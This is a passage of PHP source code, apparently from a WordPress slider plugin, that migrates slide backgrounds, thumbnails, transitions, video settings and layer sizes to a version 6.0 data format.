		$streamcover	 = $this->_truefalse($slide->get_param('stream_do_cover'));
		$streamboth		 = (in_array($slide->get_param('background_type'), array('streamyoutubeboth', 'streamvimeoboth', 'streaminstagramboth', 'streamtwitterboth'))) ? true : false;
		$streamonlyvideo = (in_array($slide->get_param('background_type'), array('streamtwitter', 'streamyoutube', 'streamvimeo', 'streaminstagram'))) ? true : false;
		$streamimage	 = ($slide->get_param('background_type') === 'image' && $slider->get_param('sourcetype') !== 'gallery') ? true : false; //was 'settings', 'sourcetype'
		$streamanyvideo	 = (in_array($slide->get_param('background_type'), array('streamyoutubeboth', 'streamvimeoboth', 'streaminstagramboth', 'streamtwitterboth', 'streamtwitter', 'streamyoutube', 'streamvimeo', 'streaminstagram'))) ? true : false;

		if(strpos($slide->get_param('background_type'), 'youtube') !== false){
			$type = 'youtube';
		}elseif(strpos($slide->get_param('background_type'), 'vimeo') !== false){
			$type = 'vimeo';
		}elseif(strpos($slide->get_param('background_type'), 'instagram') !== false){
			$type = 'html5';
		}elseif(strpos($slide->get_param('background_type'), 'twitter') !== false){
			$type = 'html5';
		}else{
			$type = $slide->get_param('background_type', 'trans');
		}
		
		$img_url = $slide->get_param('image', '');
		$img_id = $slide->get_param('image_id', '');
		if(!empty($img_id)){
			$new_img_url = $this->get_url_attachment_image($img_id);
			if(!empty($new_img_url)){
				$img_url = $new_img_url;
			}
		}
		
		$ms['bg'] = array(
			'type'			=> $type,
			'color'			=> $color_picker->correctValue($slide->get_param('slide_bg_color', '#ffffff')),
			'externalSrc'	=> $slide->get_param('slide_bg_external', ''),
			'fit'			=> $slide->get_param('bg_fit', 'cover'),
			'fitX'			=> $slide->get_param('bg_fit_x', '100'),
			'fitY'			=> $slide->get_param('bg_fit_y', '100'),
			'position'		=> $slide->get_param('bg_position', 'center center'),
			'positionX'		=> $slide->get_param('bg_position_x', '0'),
			'positionY'		=> $slide->get_param('bg_position_y', '0'),
			'repeat'		=> $slide->get_param('bg_repeat', 'no-repeat'),
			'image'			=> $img_url,
			//'imageId'		=> $slide->get_param('image_id', ''),
			'imageFromStream' => ($streamboth == true || $streamimage == true) ? true : false,
			'imageSourceType' => $slide->get_param('image_source_type', 'full'),
			'galleryType'	=> $slide->get_param('rs-gallery-type', 'gallery'),
			'mpeg'			=> $slide->get_param('slide_bg_html_mpeg', ''),
			'ogv'			=> $slide->get_param('slide_bg_html_ogv', ''),
			'webm'			=> $slide->get_param('slide_bg_html_webm', ''),
			'vimeo'			=> $slide->get_param('slide_bg_vimeo', ''),
			'youtube'		=> $slide->get_param('slide_bg_youtube', ''),
			'mediaFilter'	=> $slide->get_param('media-filter-type', 'none'),
			//'width'		=> $slide->get_param('ext_width'),
			//'height'		=> $slide->get_param('ext_height'),
			'video'			=> array(
				'args'			 => $slide->get_param('video_arguments', ''),
				'argsVimeo'		 => $slide->get_param('video_arguments_vim', ''),
				'dottedOverlay'	 => $slide->get_param('video_dotted_overlay', 'none'),
				'startAt'		 => $slide->get_param('video_start_at', ''),
				'endAt'			 => $slide->get_param('video_end_at', ''),				
				'forceRewind'	 => $this->_truefalse($slide->get_param('video_force_rewind', true)),
				'loop'			 => $slide->get_param('video_loop', 'none'),
				'mute'			 => $this->_truefalse($slide->get_param('video_mute', true)),
				'nextSlideAtEnd' => $this->_truefalse($slide->get_param('video_nextslide', false)),
				'ratio'			 => $slide->get_param('video_ratio', '16:9'),
				'speed'			 => $slide->get_param('video_speed', 1),
				'volume'		 => $slide->get_param('video_volume', 0)
			),
			'videoId' => '',
			'videoFromStream' => $streamanyvideo,
		);

		$stream = false;
		//turn the image to the new stream path if it is
		if(strpos($ms['bg']['image'], '/ig.png') !== false){
			$ms['bg']['image'] = str_replace('/ig.png', '/instagram.png', $ms['bg']['image']);
			$stream = true;
		}
		if(strpos($ms['bg']['image'], '/fb.png') !== false){
			$ms['bg']['image'] = str_replace('/fb.png', '/facebook.png', $ms['bg']['image']);
			$stream = true;
		}
		if(strpos($ms['bg']['image'], '/fr.png') !== false){
			$ms['bg']['image'] = str_replace('/fr.png', '/flickr.png', $ms['bg']['image']);
			$stream = true;
		}
		if(strpos($ms['bg']['image'], '/tw.png') !== false){
			$ms['bg']['image'] = str_replace('/tw.png', '/twitter.png', $ms['bg']['image']);
			$stream = true;
		}
		if(strpos($ms['bg']['image'], '/vm.png') !== false){
			$ms['bg']['image'] = str_replace('/vm.png', '/vimeo.png', $ms['bg']['image']);
			$stream = true;
		}
		if(strpos($ms['bg']['image'], '/wc.png') !== false){
			$ms['bg']['image'] = str_replace('/wc.png', '/woo.png', $ms['bg']['image']);
			$stream = true;
		}
		if(strpos($ms['bg']['image'], '/yt.png') !== false){
			$ms['bg']['image'] = str_replace('/yt.png', '/youtube.png', $ms['bg']['image']);
			$stream = true;
		}
		
		$bg_image = ($this->_truefalse($slide->get_param('thumb_for_admin')) === true) ? $this->get_val($ms, array('bg', 'image')) : $slide->get_param('slide_thumb', $this->get_val($ms, array('bg', 'image')));
		$bg_image = ($stream === true) ? '' : $bg_image;

		$ms['thumb'] = array(
			'customThumbSrc' => $bg_image,
			'customThumbSrcId' => ($this->get_val($ms, array('thumb', 'customThumbSrc'), '') !== '') ? $this->get_image_id_by_url($this->get_val($ms, array('thumb', 'customThumbSrc'), '')) : '',
			'customAdminThumbSrc' => ($this->_truefalse($slide->get_param('thumb_for_admin')) === true) ? $slide->get_param('slide_thumb') : '',
			'customAdminThumbSrcId' => ($this->get_val($ms, array('thumb', 'customAdminThumbSrc'), '') !== '') ? $this->get_image_id_by_url($this->get_val($ms, array('thumb', 'customAdminThumbSrc'), '')) : '',
			'dimension' => $slide->get_param('thumb_dimension', 'orig'),
		);
		
		//only do if we are not a stream!
		if(!in_array($slider->get_param('sourcetype'), array('youtube', 'vimeo', 'instagram', 'twitter', 'facebook', 'flickr'), true)){
			if($this->get_val($ms, array('thumb', 'customThumbSrc'), '') == ''){
				if($this->get_val($ms, array('thumb', 'customAdminThumbSrc'), '') !== ''){
					$this->set_val($ms, array('thumb', 'customThumbSrc'), $this->get_val($ms, array('thumb', 'customAdminThumbSrc'), ''));
					$this->set_val($ms, array('thumb', 'customThumbSrcId'), $this->get_val($ms, array('thumb', 'customAdminThumbSrcId'), ''));
				}
			}
		}
		
		$ms['info'] = array(
			'params' => array(
				array(
					'v' => $slide->get_param('params_1'),
					'l' => $slide->get_param('params_1_chars', 10),
				),
				array(
					'v' => $slide->get_param('params_2'),
					'l' => $slide->get_param('params_2_chars', 10),
				),
				array(
					'v' => $slide->get_param('params_3'),
					'l' => $slide->get_param('params_3_chars', 10),
				),
				array(
					'v' => $slide->get_param('params_4'),
					'l' => $slide->get_param('params_4_chars', 10),
				),
				array(
					'v' => $slide->get_param('params_5'),
					'l' => $slide->get_param('params_5_chars', 10),
				),
				array(
					'v' => $slide->get_param('params_6'),
					'l' => $slide->get_param('params_6_chars', 10),
				),
				array(
					'v' => $slide->get_param('params_7'),
					'l' => $slide->get_param('params_7_chars', 10),
				),
				array(
					'v' => $slide->get_param('params_8'),
					'l' => $slide->get_param('params_8_chars', 10),
				),
				array(
					'v' => $slide->get_param('params_9'),
					'l' => $slide->get_param('params_9_chars', 10),
				),
				array(
					'v' => $slide->get_param('params_10'),
					'l' => $slide->get_param('params_10_chars', 10),
				),
			),
			'description' => $slide->get_param('slide_description', ''),
		);
		
		$ms['attributes'] = array(
			'alt'			=> $slide->get_param('alt_attr', ''),
			'altOption'		=> $slide->get_param('alt_option', 'media_library'),
			'title'			=> $slide->get_param('title_attr', ''),
			'titleOption'	=> 'media_library',
			'attr'			=> '',
			'class'			=> $slide->get_param('class_attr', ''),
			'data'			=> $slide->get_param('data_attr', ''),
			'id'			=> $slide->get_param('id_attr', ''),
		);
		
		$ms['publish'] = array(
			'from'	=> $slide->get_param('date_from', ''),
			'to'	=> $slide->get_param('date_to', ''),
			'state'	=> $slide->get_param('state', 'published'),
		);

		$slide_transition = $slide->get_param('slide_transition', array('fade'));
		$add_transition = $this->get_val($this->add_to_transition_speed, $slide_transition, false);
		
		$duration = $slide->get_param('transition_duration', array(1000));
		if($add_transition !== false){
			if(!empty($duration)){
				if(is_array($duration)){
					foreach($duration as $dk => $dv){
						$dv = str_replace('ms', '', $dv);
						$duration[$dk] = (!in_array($dv, array('random', 'default'), true)) ? $dv + $add_transition : $dv;
					}
				}else{
					$duration = str_replace('ms', '', $duration);
					$duration = (!in_array($duration, array('random', 'default'), true)) ? $duration + $add_transition : $duration;
				}
			}
		}
		
		$ms['timeline'] = array(
			'stopOnPurpose'	=> $this->_truefalse($slide->get_param('stoponpurpose', false)),
			'delay'			=> ($slide->get_param('delay') === 0 || $slide->get_param('delay') === '0') ? 'Default' : $slide->get_param('delay', 'Default'),
			'transition'	=> $slide_transition,
			'slots'			=> $slide->get_param('slot_amount', array(0)),
			'duration'		=> $duration,
			'easeIn'		=> $slide->get_param('transition_ease_in', array('default')),
			'easeOut'		=> $slide->get_param('transition_ease_out', array('default')),
			'rotation'		=> $slide->get_param('transition_rotation', array(0)),
		);
		
		/**
		 * fix for [{0:'a',1:'b'}] structures that can occur
		 **/
		$t_keys = array('duration', 'easeIn', 'easeOut', 'rotation', 'slots', 'transition');
		foreach($t_keys as $tk){
			$ms['timeline'][$tk] = (!is_array($ms['timeline'][$tk])) ? (array)$ms['timeline'][$tk] : $ms['timeline'][$tk];
			$tlc = $this->get_val($ms, array('timeline', $tk, 0), '');
			if(is_object($tlc) || is_array($tlc)){
				$a = array();
				if(!empty($ms['timeline'][$tk][0])){
					foreach($ms['timeline'][$tk][0] as $tkv){
						$a[] = $tkv;
					}
				}
				$ms['timeline'][$tk] = $a;
			}
		}
		
		$ms['visibility'] = array(
			'hideAfterLoop'		 => $slide->get_param('hideslideafter', 0),
			'hideOnMobile'		 => $this->_truefalse($slide->get_param('hideslideonmobile', false)),
			'hideFromNavigation' => $this->_truefalse($slide->get_param('invisibleslide', false)),
		);

		$ms['effects'] = array(
			'parallax' => $slide->get_param('slide_parallax_level', '-'),
		);
		$ms['panzoom'] = array(
			'set'		 => $this->_truefalse($slide->get_param('kenburn_effect', false)),
			'blurStart'	 => $slide->get_param('kb_blur_start', 0),
			'blurEnd'	 => $slide->get_param('kb_blur_end', 0),
			'duration'	 => $slide->get_param('kb_duration', 10000),
			'ease'		 => $slide->get_param('kb_easing', 'none'),
			'fitEnd'	 => $slide->get_param('kb_end_fit', 100),
			'fitStart'	 => $slide->get_param('kb_start_fit', 100),
			'xEnd'		 => $slide->get_param('kb_end_offset_x', 0),
			'yEnd'		 => $slide->get_param('kb_end_offset_y', 0),
			'xStart'	 => $slide->get_param('kb_start_offset_x', 0),
			'yStart'	 => $slide->get_param('kb_start_offset_y', 0),
			'rotateStart'=> $slide->get_param('kb_start_rotate', 0),
			'rotateEnd'	 => $slide->get_param('kb_end_rotate', 0),
		);
		// SLICEY OVERWRITE PAN ZOOM  (KRIKI)
		if($slider->get_param('slicey_globals', false) !== false){
			$slicey = json_decode($slider->get_param('slicey_globals'), true);
			if(empty($slicey)){
				$slicey = json_decode(str_replace('\\', '', $slider->get_param('slicey_globals')), true);
			}
			$ms['panzoom']['blurStart']	= $this->get_val($slicey, 'blurgstart', $this->get_val($ms, array('panzoom', 'blurStart'), 0));
			$ms['panzoom']['blurEnd']	= $this->get_val($slicey, 'blurgend', $this->get_val($ms, array('panzoom', 'blurEnd'), 0));
			$ms['panzoom']['fitEnd']	= $this->get_val($slicey, 'scale', $this->get_val($ms, array('panzoom', 'fitEnd')));
			$ms['panzoom']['duration']	= $this->get_val($slicey, 'time', $this->get_val($ms, array('panzoom', 'duration')));
			$ms['panzoom']['ease']		= $this->get_val($slicey, 'easing', $this->get_val($ms, array('panzoom', 'ease'), 'none'));
		}
		
		$target = $slide->get_param('link_open_in', '_self');
		$target = ($target === 'same') ? '_self' : $target;
		$target = ($target === 'new') ? '_blank' : $target;
		
		$ms['seo'] = array(
			'set'		=> $this->_truefalse($slide->get_param('enable_link', false)),
			'link'		=> $slide->get_param('link', ''),
			'slideLink'	=> $slide->get_param('slide_link', 'nothing'),
			'target'	=> $target,
			'z'			=> $slide->get_param('link_pos', 'front'),
			'type'		=> $slide->get_param('link_type', 'regular'),
		);
		$ms['nav'] = array(
			'arrows'	=> array(),
			'thumbs'	=> array(),
			'tabs'		=> array(),
			'bullets'	=> array(),
		);
		foreach($ms['nav'] as $k => $v){
			$ms['nav'][$k]['presets'] = new stdClass();
		}

		/* COLLECT CUSTOM SETTINGS FOR NAVIGATION FROM OLDER VERSION */
		$params = $slide->get_params();
		$_presets = $this->transform_preset_to_6_0_0($params, 'slide');
		if(!empty($_presets)){
			foreach($_presets as $_pkey => $_preset){
				if(!empty($_preset)){
					$ms['nav'][$_pkey]['presets'] = (!isset($ms['nav'][$_pkey]['presets'])) ? new stdClass() : $ms['nav'][$_pkey]['presets'];
					foreach($_preset as $_pk => $_pv){
						$ms['nav'][$_pkey]['presets']->$_pk = $_pv;
					}
				}
			}
		}
		
		return $ms;
	}


	/**
	 * Change Layer Settings to version 6.0
	 * @since 6.0
	 */
	public function change_layer_settings_to_6_0($sliders = false){
		$sr = new RevSliderSlider();
		$sl = new RevSliderSlide();

		if($sliders === false){
			//do it on all Sliders
			$sliders = $sr->get_sliders();
		}else{
			$sliders = array($sliders);
		}
		if(!empty($sliders) && is_array($sliders)){
			foreach($sliders as $slider){
				$slides = $slider->get_slides(false, true);
				$staticID = $sl->get_static_slide_id($slider->get_id());
				if($staticID !== false){
					$msl = new RevSliderSlide();
					if(strpos($staticID, 'static_') === false){
						$staticID = 'static_'. $staticID; //$slider->get_id();
					}
					$msl->init_by_id($staticID);
					if($msl->get_id() !== ''){
						//$slides = array_merge($slides, array($msl));
						$slides[] = $msl;
					}
				}
				
				if(!empty($slides) && is_array($slides)){
					foreach($slides as $slide){
						$layers = $slide->get_layers();
						
						$this->static_slide = $slide->is_static_slide();
						
						$new_layers = array();
						if(!empty($layers) && is_array($layers)){
							$this->z_index = 5; //reset the zindex
							$lid = 99;
							foreach($layers as $lk => $layer){
								$ml = array();
								$version = $this->get_val($layer, 'version', '1.0.0');
								if(strpos($version, '.') === false){
									//was before 530 for example
									$version = '1.0.0';
								}
								if(version_compare($version, '6.0.0', '<')){
									$ml = $this->migrate_layer_to_6_0($layer, false, $slide, $slider);
								}else{
									$ml = $layer;
								}
								
								$ml = $this->_simplify_layers($ml, $slide, $slider);
								
								$uid = $this->get_val($ml, 'uid', $lid);
								if(isset($new_layers[$uid])){
									$uid = $lid;
									$this->set_val($ml, 'uid', $lid);
								}
								$new_layers[$uid] = $ml;
								$lid++;
								$this->z_index++;
							}
							
							//act_triggered
							/**
							 * go again through all layers
							 * check if a layer is triggered by other layers
							 * if no, set actionTriggered to false
							 **/
							if(!empty($new_layers)){
								foreach($new_layers as $nlk => $nlv){
									//($act_triggered === 'wait' || $act_triggered === 'waitout') ? true : 
									
									$nluid = $this->get_val($nlv, 'uid');
									$nluid = ($this->static_slide) ? 'static-'.$nluid : $nluid;
									
									if(in_array((string)$nluid, $this->slide_action_map, true)){
										$a_o = $this->get_val($nlv, array('actions', 'animationoverwrite'), 'default');
										
										if($a_o === 'wait'){
											$this->set_val($new_layers, array($nlk, 'timeline', 'frames', 'frame_1', 'timeline', 'actionTriggered'), true);
										}
										if(in_array($a_o, array('wait', 'waitout'), true)){
											$this->set_val($new_layers, array($nlk, 'timeline', 'frames', 'frame_999', 'timeline', 'actionTriggered'), true);
										}
									}
								}
							}
							
							$slide->set_layers_raw($new_layers);
							$slide->save_layers();
						}
					}
				}
			}
		}
	}
	
	
	/**
	 * Migrates a Layer to version 6.0.0
	 * @since: 6.0.0
	 **/
	public function migrate_layer_to_6_0($layer, $blank, $slide, $slider){ //blank default should be false!

		$this->init_googlefonts();
		$color_picker		= new RSColorpicker();
		
		$video_data			= $this->get_val($layer, 'video_data', array());
		$deformation		= (array)$this->get_val($layer, 'deformation', array());
		$deformation_hover	= (array)$this->get_val($layer, 'deformation-hover', array());
		$static_styles		= (array)$this->get_val($layer, 'static_styles', array());
		$layer_action		= $this->get_val($layer, 'layer_action', array());
		$svg				= $this->get_val($layer, 'svg', array());
		$frames				= $this->get_val($layer, 'frames', array());
		$frame_0			= $this->get_val($frames, 'frame_0', array());
		$frame_999			= $this->get_val($frames, 'frame_999', array());
		
		$ml['type']			= $this->get_val($layer, 'type'); //text, image, video, audio, svg, shape
		$ml['subtype']		= $this->get_val($layer, 'subtype', '');
		
		//need to replace weather AddOn tag format so moved this line here
		$ml['addOns']		= $this->migrate_layer_AddOn($layer, $slide);
		$ml['text']			= $this->get_val($layer, 'text', 'New layer');
		$toggleText			= $this->get_val($layer, 'texttoggle', '');
		
		//fix for margin-top issues in pe7 icons. In v5 the margin was needed.
		if(strpos($ml['text'], '<i class="pe-7s') !== false){ 
			$ml['text'] = str_replace(array('margin-top:-6px;', 'margin-top: -6px;'), '', $ml['text']);
		}
		if(strpos($toggleText, '<i class="pe-7s') !== false){ 
			$toggleText = str_replace(array('margin-top:-6px;', 'margin-top: -6px;'), '', $toggleText);
		}
		
		//REPLACE ALL FA-ICON- to FA-
		$ml['text']			= str_replace('fa-icon-', 'fa-', $ml['text']);
		$toggleText			= str_replace('fa-icon-', 'fa-', $toggleText);
		
		//REPLACE ALL META THAT ARE WITH %..% to {{..}}
		foreach($this->_metas as $r){
			if(strpos($r, '/%') !== false){
				$arrMatches = array();
				preg_match_all($r, $ml['text'], $arrMatches);

				if(!empty($arrMatches)){
					foreach($arrMatches as $matched){
						foreach($matched as $match){
							$_match = str_replace('%', '', '{{'.$match.'}}');
							$ml['text'] = str_replace($match, $_match, $ml['text']);
						}
					}
				}
				
				$arrMatches = array();
				preg_match_all($r, $toggleText, $arrMatches);

				if(!empty($arrMatches)){
					foreach($arrMatches as $matched){
						foreach($matched as $match){
							$_match = str_replace('%', '', '{{'.$match.'}}');
							$toggleText = str_replace($match, $_match, $toggleText);
						}
					}
				}
			}else{
				$ml['text'] = str_replace('%'.$r.'%', '{{'.$r.'}}', $ml['text']);
				$toggleText = str_replace('%'.$r.'%', '{{'.$r.'}}', $toggleText);
			}
		}
		
		$ml['placeholder']	= '';
		$ml['alias']		= ucfirst($this->get_val($layer, 'alias', 'New Layer'));
		$ml['uid']			= $this->get_val($layer, 'unique_id');
		$ml['version']		= '6.0.0';
		$ml['htmltag']		= $this->get_val($layer, 'html_tag', 'div');
		
		switch($ml['type']){
			case 'text':
			case 'button':
				$img_id = $this->get_image_id_by_url($this->get_val($layer, 'bgimage_url'));
				if($img_id === false) $img_id = '';
				$ml['media'] = array(
					'imageUrl' => $this->get_val($layer, 'bgimage_url', RS_PLUGIN_URL.'admin/assets/images/transparent_placeholder.png'),
					//'imageId' => $img_id,
					'imageFromStream' => false,
					'loaded' => false
				);
			break;
			case 'image':
				$img_id = $this->get_image_id_by_url($this->get_val($layer, 'image_url'));
				if($img_id === false) $img_id = '';
				$ml['media'] = array(
					'imageUrl' => $this->get_val($layer, 'image_url', RS_PLUGIN_URL.'admin/assets/images/transparent_placeholder.png'),
					'imageId' => $img_id,
					'imageFromStream' => false,
					'loaded' => false
				);
			break;
			case 'audio':
			case 'video':
				if($this->get_val($video_data, 'video_type') === 'html5'){
					$posterUrl = $this->get_val($video_data, 'urlPoster');
				}else{
					if($this->get_val($video_data, 'previewimage', false) === false || strlen($this->get_val($video_data, 'previewimage')) < 3){
						$posterUrl = '';
						//$posterUrl = $this->get_val($layer, 'video_image_url');
					}else{
						$posterUrl = $this->get_val($video_data, 'previewimage');
					}
				}

				$autoplayonlyfirsttime = ($this->_truefalse($this->get_val($video_data, 'autoplayonlyfirsttime')) == true) ? '1sttime' : 'true';				
				
				$ml['media'] = array(
					'mediaType' => $this->get_val($video_data, 'video_type'),
					'audioUrl' => $this->get_val($video_data, 'urlAudio', ''),
					'audioTitle' => $this->get_val($video_data, 'audio_title', ''),
					'posterUrl' => $posterUrl,
					'posterId' => '',
					'posterFromStream' => false,
					'thumbs' => array(
						'veryBig' => $this->get_val($video_data, 'thumb_very_big', array('width' => 640, 'height' => 480, 'url' => $posterUrl)),
						'big' => $this->get_val($video_data, 'thumb_big', array('width' => 640, 'height' => 480, 'url' => $posterUrl)),
						'large' => $this->get_val($video_data, 'thumb_large', array('width' => 640, 'height' => 360, 'url' => $posterUrl)),
						'medium' => $this->get_val($video_data, 'thumb_medium', array('width' => 320, 'height' => 240, 'url' => $posterUrl)),
						'small' => $this->get_val($video_data, 'thumb_small', array('width' => 200, 'height' => 150, 'url' => $posterUrl)),
					),
					'descSmall' => $this->get_val($video_data, 'desc_small', ''),
					'description' => $this->get_val($video_data, 'description', ''),
					'link' => $this->get_val($video_data, 'link', ''),
					'mp4Url' => $this->get_val($video_data, 'urlMp4', ''),
					'ogvUrl' => $this->get_val($video_data, 'urlOgv', ''),
					'webmUrl' => $this->get_val($video_data, 'urlWebm', ''),
					'allowFullscreen' => $this->_truefalse($this->get_val($video_data, 'allowfullscreen', false)),
					'args' => $this->get_val($video_data, 'args', $this->get_val($layer, 'video_args', '')),
					'author' => $this->get_val($video_data, 'author', ''),
					//'autoPlay' => $this->get_val($video_data, 'autoplay', $this->get_val($video_data, 'video_autoplay'), $autoplayonlyfirsttime),
					'autoPlay' => $this->get_val($video_data, 'autoplay', $this->get_val($video_data, 'video_autoplay', $autoplayonlyfirsttime)),
					'controls' => ($this->get_val($video_data, 'video_show_visibility') === true && $this->get_val($video_data, 'video_type') === 'audio') ? false : !$this->get_val($video_data, 'controls'),
					'cover' => $this->_truefalse($this->get_val($video_data, 'cover', false)),
					'disableOnMobile' => $this->_truefalse($this->get_val($video_data, 'use_poster_on_mobile', false)),
					'dotted' => $this->get_val($video_data, 'dotted', 'none'),
					'startAt' => $this->get_val($video_data, 'start_at', '00:00'),
					'endAt' => $this->get_val($video_data, 'end_at', '00:00'),
					'forceRewind' => $this->_truefalse($this->get_val($video_data, 'forcerewind', true)),
					'fullWidth' => $this->_truefalse($this->get_val($video_data, 'fullwidth', false)),
					'id' => $this->get_val($video_data, 'id', $this->get_val($layer, 'video_id', '')),
					'videoFromStream' => false,
					'largeControls' => $this->_truefalse($this->get_val($video_data, 'large_controls', true)),
					'leaveOnPause' => $this->_truefalse($this->get_val($video_data, 'leave_on_pause', true)),
					'mute' => $this->_truefalse($this->get_val($video_data, 'mute', true)),
					'nextSlideAtEnd' => $this->_truefalse($this->get_val($video_data, 'nextslide', true)),
					'preload' => $this->get_val($video_data, 'preload', 'auto'),
					'preloadAudio' => $this->get_val($video_data, 'preload_audio', 'metadata'),
					'preloadWait' => $this->get_val($video_data, 'preload_wait', '0'),
					'ratio' => $this->get_val($video_data, 'ratio', '16:9'),
					'posterOnPause' => $this->_truefalse($this->get_val($video_data, 'show_cover_pause', false)),
					'posterOnMobile' => $this->_truefalse($this->get_val($video_data, 'disable_on_mobile', false)),
					'stopAllVideo' => $this->_truefalse($this->get_val($video_data, 'stopallvideo', true)),
					'playInline' => $this->_truefalse($this->get_val($video_data, 'video_play_inline', true)),
					'hideAudio' => true,
					'speed' => $this->get_val($video_data, 'videospeed', 1),
					'loop' => $this->get_val($video_data, 'videoloop', 'loopandnoslidestop'),
					'volume' => $this->get_val($video_data, 'volume', '100'),
				);
				
			break;
			case 'svg':
			case 'object':
				$ml['svg'] = array(
					'source' => $this->get_val($svg, 'src', ''),
					'renderedData' => $this->get_val($svg, 'renderedData', ''),
				);
			break;
		}

		if($this->get_val($layer, 'type') === 'video'){
			if($this->get_val($video_data, 'fullwidth')){
				$layer['cover_mode'] = 'cover-proportional';
			}

			if($this->get_val($video_data, 'cover')){
				$layer['basealign'] = 'slide';
			}
		}
		
		// needed to make sure 'fa-icon' gets converted for toggle content
		$ml['toggle'] = array(
			'set' => $this->_truefalse($this->get_val($layer, 'toggle', false)),
			'text' => $toggleText,
			//'inverse' => $this->_truefalse($this->get_val($layer, 'toggle_inverse_content', false)),
			'useHover' => $this->_truefalse($this->get_val($layer, 'toggle_use_hover', false)),
		);

		$ww = $this->get_val($layer, 'width');
		$hh = $this->get_val($layer, 'height');
		
		$minHH = 'none';

		switch($this->get_val($layer, 'type')){
			case 'image':
				if($this->get_val($layer, 'scaleX', false) !== false){
					$ww = $this->get_val($layer, 'scaleX');
					$hh = $this->get_val($layer, 'scaleY');
					
					//check if we need to get image dimensions
					$_img_d = array($ww, $hh);
					$get_dim = false;
					foreach($_img_d as $img_d){
						if(empty($img_d)){
							$get_dim = true;
						}else{
							if(!is_array($img_d)) continue;
							foreach($img_d as $_d => $_v){
								if(!empty($_v)) continue;
								
								$get_dim = true;
								break;
							}
						}
						if($get_dim === true) break;
					}
					
					if($get_dim === true){
						$ow = '';
						$oh = '';
						$cur_img = $this->get_val($ml, array('media', 'imageUrl'));
						if($cur_img !== ''){
							$cur_id = $this->get_image_id_by_url($cur_img);
							$img_data = wp_get_attachment_metadata($cur_id);
							
							if($img_data !== false && !empty($img_data)){
								$this->set_val($ml, array('media', 'imageId'), $cur_id);
								
								$img_size = ($this->get_val($layer, 'image-size', 'auto') === 'auto') ? $slider->get_param('def-image_source_type', 'full') : 'full';
								if($img_size !== 'full'){
									if(isset($img_data['sizes']) && isset($img_data['sizes'][$img_size])){
										$ow = (isset($img_data['sizes'][$img_size]['width'])) ? $img_data['sizes'][$img_size]['width'] : '';
										$oh = (isset($img_data['sizes'][$img_size]['height'])) ? $img_data['sizes'][$img_size]['height'] : '';
									}
								}
								
								if($ow == '' || $oh == ''){
									$ow = (isset($img_data['width'])) ? $img_data['width'] : '';
									$oh = (isset($img_data['height'])) ? $img_data['height'] : '';
								}
							}else{
								$ow = $this->get_val($layer, 'width');
								$oh = $this->get_val($layer, 'height');
							}
							
							if(empty($ww)){
								$ww = $ow;
							}else{
								if(is_array($ww)){
									foreach($ww as $_d => $_v){
										if(empty($_v)){
											$ww[$_d] = $ow;
										}
									}
								}
							}
							if(empty($hh)){
								$hh = $oh;
							}else{
								if(is_array($hh)){
									foreach($hh as $_d => $_v){
										if(empty($_v)){
											$hh[$_d] = $oh;
										}
									}
								}
							}
						}
					}
				}
			break;
			case 'video':
				if($this->get_val($layer, 'video_height', false) !== false){
					$ww = $this->get_val($layer, 'video_width');
					$hh = $this->get_val($layer, 'video_height');
				}
			break;
			case 'svg':
				if($this->get_val($layer, 'max_height', false) !== false){
					$ww = $this->get_val($layer, 'max_width');
					$hh = $this->get_val($layer, 'max_height');
				}
			break;
			case 'shape':
			case 'button':
			case 'text':
			case 'group':
				if($this->get_val($layer, 'max_height', false) !== false){
					$ww = $this->get_val($layer, 'max_width');
					$hh = $this->get_val($layer, 'max_height');
				}else{
					$ww = 'auto';
					$hh = 'auto';
				}
			break;
		}
		
		//$layer['cover_mode'] = (!in_array($this->get_val($layer, 'type'), array('image', 'video'))) ? 'custom' : $this->get_val($layer, 'cover_mode'); //'shape', 
		switch($this->get_val($layer, 'cover_mode')){
			case 'cover':
			case 'cover-proportional':
				$ww = '100%';
				$hh = '100%';
			break;
			case 'fullheight':
				$hh = '100%';
			break;
			case 'fullwidth':
				$ww = '100%';
			break;
		}

		if($this->get_val($layer, 'type') === 'row'){
			if($hh !== 'auto' && $hh != '-1' && $hh !== '32'){
				$minHH = $hh;
			}

			if($this->get_val($layer, 'max_height', false) !== false){
				$minHH = $layer['max_height'];
			}
			$hh = 'auto';
		}

		$defwidth		= (!in_array($this->get_val($layer, 'type'), array('image', 'shape', 'video'))) ? 'auto' : '300';
		$defheight		= (!in_array($this->get_val($layer, 'type'), array('image', 'shape', 'video'))) ? 'auto' : '180';
		$defproportion	= (in_array($this->get_val($layer, 'type'), array('svg', 'image', 'video'))) ? true : false;
		$defaspectrat	= (!in_array($this->get_val($layer, 'type'), array('image', 'shape', 'video'))) ? 'none' : 300/180;
		
		/**
		 * width and height values should not
		 * later be replaced with the default if they are empty
		 * so we make sure that empty strings are filled here
		 **/
		if(is_array($ww)){
			$wd = $defwidth;
			foreach($ww as $wk => $wv){
				if(empty($wv)){
					$ww[$wk] = $wd;
				}
				$wd = $ww[$wk];
			}
		}
		if(is_array($hh)){
			$hd = $defwidth;
			foreach($hh as $hk => $hv){
				if(empty($hv)){
					$hh[$hk] = $hd;
				}
				$hd = $hh[$hk];
			}
		}
		
		$ml['size'] = array(
			'width' => $this->c_to_resp(array('default' => $defwidth, 'val' => $ww)),
			'height' => $this->c_to_resp(array('default' => $defheight, 'val' => $hh)),
			'maxWidth' => $this->c_to_resp(array('default' => 'none', 'val' => 'none')),
			'maxHeight' => $this->c_to_resp(array('default' => 'none', 'val' => 'none')),
			'minWidth' => $this->c_to_resp(array('default' => 'none', 'val' => 'none')),
			'minHeight' => $this->c_to_resp(array('default' => 'none', 'val' => $minHH)),
			'originalWidth' => ($this->get_val($layer, 'type') == 'video') ? $this->get_val($video_data, 'video_width', false) : $this->get_val($layer, 'originalWidth', false),
			'originalHeight' => ($this->get_val($layer, 'type') == 'video') ? $this->get_val($video_data, 'video_height', false) : $this->get_val($layer, 'originalHeight', false),
			'covermode' => $this->get_val($layer, 'cover_mode', 'custom'),
			'scaleProportional' => $this->_truefalse($this->get_val($layer, 'scaleProportional', $defproportion)),
		);

		$ml['size']['aspectRatio'] = (intval($ml['size']['originalWidth']) > 0 && intval($ml['size']['originalHeight']) > 0) ? $this->c_to_resp(array('default' => $defaspectrat, 'val' => intval($ml['size']['originalWidth']) / intval($ml['size']['originalHeight']))) : $this->c_to_resp(array('default' => $defaspectrat, 'val' => $defaspectrat));

		if($ml['size']['originalWidth'] === false){
			unset($ml['size']['originalWidth']);
		}

		if($ml['size']['originalHeight'] === false){
			unset($ml['size']['originalHeight']);
		}
		
		if($this->get_val($layer, 'type') === 'svg'){
